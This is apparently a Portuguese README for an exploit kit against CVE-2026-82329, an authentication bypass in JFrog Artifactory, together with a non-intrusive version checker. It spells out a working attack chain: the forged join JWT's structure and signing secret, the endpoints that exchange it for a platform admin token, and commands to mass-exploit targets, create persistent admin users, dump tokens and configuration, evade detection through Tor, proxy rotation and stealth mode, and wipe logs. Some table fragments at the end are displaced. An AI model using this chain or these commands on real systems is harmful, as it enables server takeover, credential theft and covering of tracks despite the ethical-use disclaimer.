
Kit de exploração e deteção para CVE-2026-82329, um bypass de autenticação do JFrog Artifactory. Forja JWTs de join para gerar tokens de administrador; inclui um verificador de versão não intrusivo.

APENAS USO ÉTICO – TESTES DE SEGURANÇA AUTORIZADOS Este repositório fornece ferramentas apenas para profissionais de segurança autorizados, blue teams e testadores de penetração. O acesso não autorizado a sistemas de computador é ilegal sob o CFAA (EUA), Computer Misuse Act (Reino Unido), TCK 243/244 (Turquia) e leis similares em todo o mundo.
CVE‑2026‑82329 é uma vulnerabilidade crítica de bypass de autenticação no JFrog Artifactory auto-hospedado (versões 7.111.x até 7.161.x) que permite a um atacante não autenticado obter um token de administrador completo da plataforma abusando do mecanismo de entrada no cluster do JFrog Access.
32 * 0x20 (espaços).kid = SHA256("").POST /access/api/v1/registry/join retorna um token SERVICE com scp=admin sem qualquer autenticação.POST /access/api/v1/tokens com scope=applied-permissions/admin&audience=* produz um token de admin completo da plataforma.| Ferramenta | Propósito | Usuário Pretendido |
|---|---|---|
exploit.py | Toolkit completo weaponizado com forja de JWT, troca por token de admin, criação de usuário admin, varredura em massa, modo stealth, rotação de proxy, menu interativo e cadeia de ataque completa. | Red teams / pentesters autorizados |
safechecker.py | Verificador de vulnerabilidade não intrusivo que detecta a versão do Artifactory, valida a exposição e avalia o risco sem obter qualquer token ou executar qualquer payload. Gera relatórios JSON. | Blue teams / auditores de segurança |
| Recurso | exploit.py | safechecker.py |
|---|---|---|
| Detecção de vulnerabilidade | ✅ | ✅ |
| Detecção de versão | ✅ | ✅ |
| JWT de entrada forjado | ✅ | ❌ |
| Emissão de token de serviço | ✅ | ❌ |
| Troca por token de admin | ✅ | ❌ |
| Criação de usuário admin | ✅ | ❌ |
| Listar repositórios | ✅ | ❌ |
| Listar usuários | ✅ | ❌ |
| Dump de configuração | ✅ | ❌ |
| Dump de tokens | ✅ | ❌ |
| Cadeia de ataque completa | ✅ | ❌ |
| Menu interativo | ✅ | ❌ |
| Varredura em massa (multi-thread) | ✅ | ✅ |
| Suporte a proxy | ✅ | ✅ |
| Rotação de proxy | ✅ | ❌ |
| Suporte a Tor (anonimato) | ✅ | ❌ |
| Rotação de User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Limitador de taxa adaptativo | ✅ | ❌ |
| Modo não intrusivo (seguro) | ❌ | ✅ |
| Relatório de versão | ✅ | ✅ |
| Verificação de acesso anônimo | ❌ | ✅ |
| Relatório JSON | ✅ |
| Cenário | Ferramenta Recomendada |
|---|---|
| Blue Team – verificar se seu Artifactory é vulnerável | safechecker.py |
| Auditoria de Segurança – avaliação de vulnerabilidade não intrusiva | safechecker.py |
| Red Team – teste de penetração autorizado com exploração completa | exploit.py |
| Bug Bounty – teste de divulgação responsável | safechecker.py |
| Varredura em Massa – verificar múltiplos alvos quanto à vulnerabilidade | exploit.py (somente detecção) |
| Resposta a Incidentes – verificar se os sistemas foram comprometidos | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requests
urllib3
curl_cffi
exploit.py| Parâmetro | Descrição |
|---|---|
-u, --url | URL de um único alvo Artifactory (ex.: http://artifactory.example.com:8082) |
-f, --file | Arquivo contendo lista de alvos (um por linha) para varredura em massa |
--create-admin | Criar usuário admin persistente (formato: USER:PASS) |
--keep-admin | Manter usuário admin criado (não limpar após a varredura) |
--token-only | Apenas imprimir token de admin (alvo único) |
--interactive | Menu interativo após a exploração |
--service-id | Service ID para o JWT de entrada (padrão: jfrt@01) |
-t, --threads | Número de threads para múltiplos alvos (padrão: 10) |
--timeout | Timeout da requisição (padrão: 25s) |
--retry | Máximo de tentativas (padrão: 3) |
--proxy | Proxy HTTP/HTTPS (ex.: http://127.0.0.1:8080) |
--proxy-list | Arquivo com proxies para rotação (um por linha) |
--jitter | Jitter aleatório (0‑2 seg) entre requisições |
--stealth | Ativar modo stealth (rotação de UA + X‑Forwarded‑For) |
--curl-cffi | Usar curl_cffi para impersonação de fingerprint TLS |
--full | Ataque completo: todos os módulos |
--dump-config | Dump da configuração do sistema |
--dump-tokens | Dump de todos os tokens de acesso |
--list-repos | Listar repositórios |
--list-users | Listar usuários |
--detect |
safechecker.py| Parâmetro | Descrição |
|---|---|
-u, --url | URL de um único alvo Artifactory (ex.: http://artifactory.example.com:8082) |
-f, --file | Arquivo contendo lista de alvos (um por linha) |
-t, --threads | Número de threads para múltiplos alvos (padrão: 5) |
--timeout | Timeout da requisição (padrão: 10s) |
-v, --verbose | Saída detalhada |
-o, --output | Salvar relatório JSON em arquivo |
| # | Cenário | Comando |
|---|---|---|
| 1 | Verificação rápida de vulnerabilidade | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | Varredura detalhada com relatório | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | Auditoria em massa a partir de arquivo | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | Exploit somente detecção | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | Obter apenas token de admin | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | Ataque completo com menu interativo | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | Criar usuário admin persistente | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | Dump de configuração | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | Listar repositórios e usuários | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | Exploit em massa com stealth | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | Rotação de proxy com Tor | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
O exploit usa os seguintes endpoints do JFrog e etapas de exploração:
| Etapa | Método | Endpoint | Descrição |
|---|---|---|---|
| 1. Join | POST | /access/api/v1/registry/join | JWT HS256 forjado → token SERVICE (scp=admin) |
| 2. Exchange | POST | /access/api/v1/tokens | token SERVICE → token de admin da plataforma |
| 3. Prove | GET | /artifactory/api/system/configuration | Prova de acesso somente para admin |
| 4. Persist | PUT | /artifactory/api/security/users/{user} | Criar usuário admin persistente |
| 5. Revoke | DELETE | /access/api/v1/tokens/{id} | Limpar tokens criados |
# Estrutura do JWT de entrada forjado
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# Segredo de assinatura
secret = b"\x20" * 32
# Requisição de token de admin
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
Este software é fornecido apenas para propósitos educacionais e testes de segurança autorizados.
| ✅ |
| Limpeza de logs (anti-forense) | ✅ | ❌ |
| User‑Agent personalizado | ✅ | ✅ |
| Controle de verificação SSL | ✅ | ✅ |
| Somente detecção (sem troca por token de admin) |
--exploit | Realizar exploração completa |
-o, --output | Salvar relatório JSON em arquivo |
-v, --verbose | Saída detalhada |
-q, --quiet | Modo silencioso |